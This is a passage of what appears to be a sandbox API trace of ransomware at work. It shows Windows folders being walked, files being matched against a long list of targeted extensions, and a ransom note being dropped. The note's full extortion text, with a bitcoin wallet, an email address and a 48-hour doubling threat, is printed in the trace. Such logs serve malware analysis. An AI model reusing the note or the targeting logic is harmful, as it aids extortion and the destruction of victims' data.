[0104.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.aiff") returned 0 [0104.679] lstrlenA (lpString="*.aiff") returned 6 [0104.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.flac") returned 0 [0104.679] lstrlenA (lpString="*.flac") returned 6 [0104.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.m4a") returned 0 [0104.679] lstrlenA (lpString="*.m4a") returned 5 [0104.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SrpUxSnapIn\\593c2939737f10fc236c7b4de35271bc\\SrpUxSnapIn.ni.dll", pszSpec="*.csv") returned 0 [0104.679] lstrlenA (lpString="*.csv") returned 5 [0104.679] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e336c93, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x2e336c93, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xee74fb68, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x149e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SrpUxSnapIn.ni.dll", cAlternateFileName="SRPUXS~1.DLL")) returned 0 [0104.680] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.680] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f00db00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6f00db00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6f00db00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="593c2939737f10fc236c7b4de35271bc", cAlternateFileName="593C29~1")) returned 0 [0104.680] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.680] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21c130b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21c130b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21c130b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720053, dwReserved1=0x550070, cFileName="stdole", cAlternateFileName="")) returned 1 [0104.680] lstrcmpA (lpString1=".", lpString2="stdole") returned -1 [0104.680] lstrcmpA (lpString1="..", lpString2="stdole") returned -1 [0104.680] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.680] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="stdole" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole" [0104.680] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole") returned 53 [0104.680] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21c130b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21c130b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21c130b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.682] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.682] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21c130b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21c130b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21c130b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.682] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.682] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.682] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21c130b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21c130b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21c130b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2c6d60b55bbab22515c512080d4b3bae", cAlternateFileName="2C6D60~1")) returned 1 [0104.682] lstrcmpA (lpString1=".", lpString2="2c6d60b55bbab22515c512080d4b3bae") returned -1 [0104.682] lstrcmpA (lpString1="..", lpString2="2c6d60b55bbab22515c512080d4b3bae") returned -1 [0104.682] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\*.*") returned="*.*" [0104.682] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\", lpString2="2c6d60b55bbab22515c512080d4b3bae" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae" [0104.683] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae") returned 86 [0104.683] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21c130b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21c130b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21c130b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.683] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.683] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21c130b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21c130b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21c130b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.683] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.683] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.683] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21becf50, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21becf50, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21becf50, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="stdole.ni.dll", cAlternateFileName="STDOLE~1.DLL")) returned 1 [0104.683] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.683] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="stdole.ni.dll") returned -1 [0104.683] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="stdole.ni.dll") returned -1 [0104.683] lstrcmpiA (lpString1="", lpString2="stdole.ni.dll") returned -1 [0104.683] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\*.*") returned="*.*" [0104.683] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\" [0104.683] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\") returned="" [0104.683] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\HOW TO DECRYPT FILES.txt" [0104.684] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\how to decrypt files.txt")) returned 0xffffffff [0104.684] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.685] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.685] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.686] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.687] CloseHandle (hObject=0x90) returned 1 [0104.687] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\", lpString2="stdole.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll" [0104.687] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.ems") returned 0 [0104.687] lstrlenA (lpString="*.ems") returned 5 [0104.687] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.db") returned 0 [0104.687] lstrlenA (lpString="*.db") returned 4 [0104.687] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.dbf") returned 0 [0104.687] lstrlenA (lpString="*.dbf") returned 5 [0104.687] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.myox") returned 0 [0104.687] lstrlenA (lpString="*.myox") returned 6 [0104.687] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.myo") returned 0 [0104.687] lstrlenA (lpString="*.myo") returned 5 [0104.687] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.qbw") returned 0 [0104.687] lstrlenA (lpString="*.qbw") returned 5 [0104.687] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.qbb") returned 0 [0104.687] lstrlenA (lpString="*.qbb") returned 5 [0104.687] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.qbm") returned 0 [0104.688] lstrlenA (lpString="*.qbm") returned 5 [0104.688] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.qbo") returned 0 [0104.688] lstrlenA (lpString="*.qbo") returned 5 [0104.688] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.qbx") returned 0 [0104.688] lstrlenA (lpString="*.qbx") returned 5 [0104.688] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.qba") returned 0 [0104.688] lstrlenA (lpString="*.qba") returned 5 [0104.688] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.qby") returned 0 [0104.688] lstrlenA (lpString="*.qby") returned 5 [0104.688] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.qbj") returned 0 [0104.688] lstrlenA (lpString="*.qbj") returned 5 [0104.688] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.ofx") returned 0 [0104.688] lstrlenA (lpString="*.ofx") returned 5 [0104.688] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.qif") returned 0 [0104.688] lstrlenA (lpString="*.qif") returned 5 [0104.688] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.mye") returned 0 [0104.688] lstrlenA (lpString="*.mye") returned 5 [0104.688] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.mbox") returned 0 [0104.689] lstrlenA (lpString="*.mbox") returned 6 [0104.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.eml") returned 0 [0104.689] lstrlenA (lpString="*.eml") returned 5 [0104.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.pst") returned 0 [0104.689] lstrlenA (lpString="*.pst") returned 5 [0104.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.ost") returned 0 [0104.689] lstrlenA (lpString="*.ost") returned 5 [0104.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.idx") returned 0 [0104.689] lstrlenA (lpString="*.idx") returned 5 [0104.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.dbx") returned 0 [0104.689] lstrlenA (lpString="*.dbx") returned 5 [0104.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.sql") returned 0 [0104.689] lstrlenA (lpString="*.sql") returned 5 [0104.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.mdb") returned 0 [0104.689] lstrlenA (lpString="*.mdb") returned 5 [0104.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.fdb") returned 0 [0104.689] lstrlenA (lpString="*.fdb") returned 5 [0104.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.wab") returned 0 [0104.689] lstrlenA (lpString="*.wab") returned 5 [0104.689] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.dat") returned 0 [0104.690] lstrlenA (lpString="*.dat") returned 5 [0104.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.txt") returned 0 [0104.690] lstrlenA (lpString="*.txt") returned 5 [0104.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.jpeg") returned 0 [0104.690] lstrlenA (lpString="*.jpeg") returned 6 [0104.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.jpg") returned 0 [0104.690] lstrlenA (lpString="*.jpg") returned 5 [0104.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.png") returned 0 [0104.690] lstrlenA (lpString="*.png") returned 5 [0104.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.php") returned 0 [0104.690] lstrlenA (lpString="*.php") returned 5 [0104.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.cs") returned 0 [0104.690] lstrlenA (lpString="*.cs") returned 4 [0104.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.cpp") returned 0 [0104.690] lstrlenA (lpString="*.cpp") returned 5 [0104.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.rar") returned 0 [0104.690] lstrlenA (lpString="*.rar") returned 5 [0104.690] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.zip") returned 0 [0104.690] lstrlenA (lpString="*.zip") returned 5 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.html") returned 0 [0104.691] lstrlenA (lpString="*.html") returned 6 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.htm") returned 0 [0104.691] lstrlenA (lpString="*.htm") returned 5 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.xlsx") returned 0 [0104.691] lstrlenA (lpString="*.xlsx") returned 6 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.xls") returned 0 [0104.691] lstrlenA (lpString="*.xls") returned 5 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.mp4") returned 0 [0104.691] lstrlenA (lpString="*.mp4") returned 5 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.ppt") returned 0 [0104.691] lstrlenA (lpString="*.ppt") returned 5 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.pptx") returned 0 [0104.691] lstrlenA (lpString="*.pptx") returned 6 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.doc") returned 0 [0104.691] lstrlenA (lpString="*.doc") returned 5 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.dot") returned 0 [0104.691] lstrlenA (lpString="*.dot") returned 5 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.docx") returned 0 [0104.691] lstrlenA (lpString="*.docx") returned 6 [0104.691] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.7z") returned 0 [0104.691] lstrlenA (lpString="*.7z") returned 4 [0104.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.tar") returned 0 [0104.692] lstrlenA (lpString="*.tar") returned 5 [0104.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.bz2") returned 0 [0104.692] lstrlenA (lpString="*.bz2") returned 5 [0104.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.gz") returned 0 [0104.692] lstrlenA (lpString="*.gz") returned 4 [0104.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.mkv") returned 0 [0104.692] lstrlenA (lpString="*.mkv") returned 5 [0104.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.eml") returned 0 [0104.692] lstrlenA (lpString="*.eml") returned 5 [0104.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.msg") returned 0 [0104.692] lstrlenA (lpString="*.msg") returned 5 [0104.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.edb") returned 0 [0104.692] lstrlenA (lpString="*.edb") returned 5 [0104.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.accdb") returned 0 [0104.692] lstrlenA (lpString="*.accdb") returned 7 [0104.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.odb") returned 0 [0104.692] lstrlenA (lpString="*.odb") returned 5 [0104.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.java") returned 0 [0104.692] lstrlenA (lpString="*.java") returned 6 [0104.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.asm") returned 0 [0104.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.pfx") returned 0 [0104.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.pem") returned 0 [0104.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", 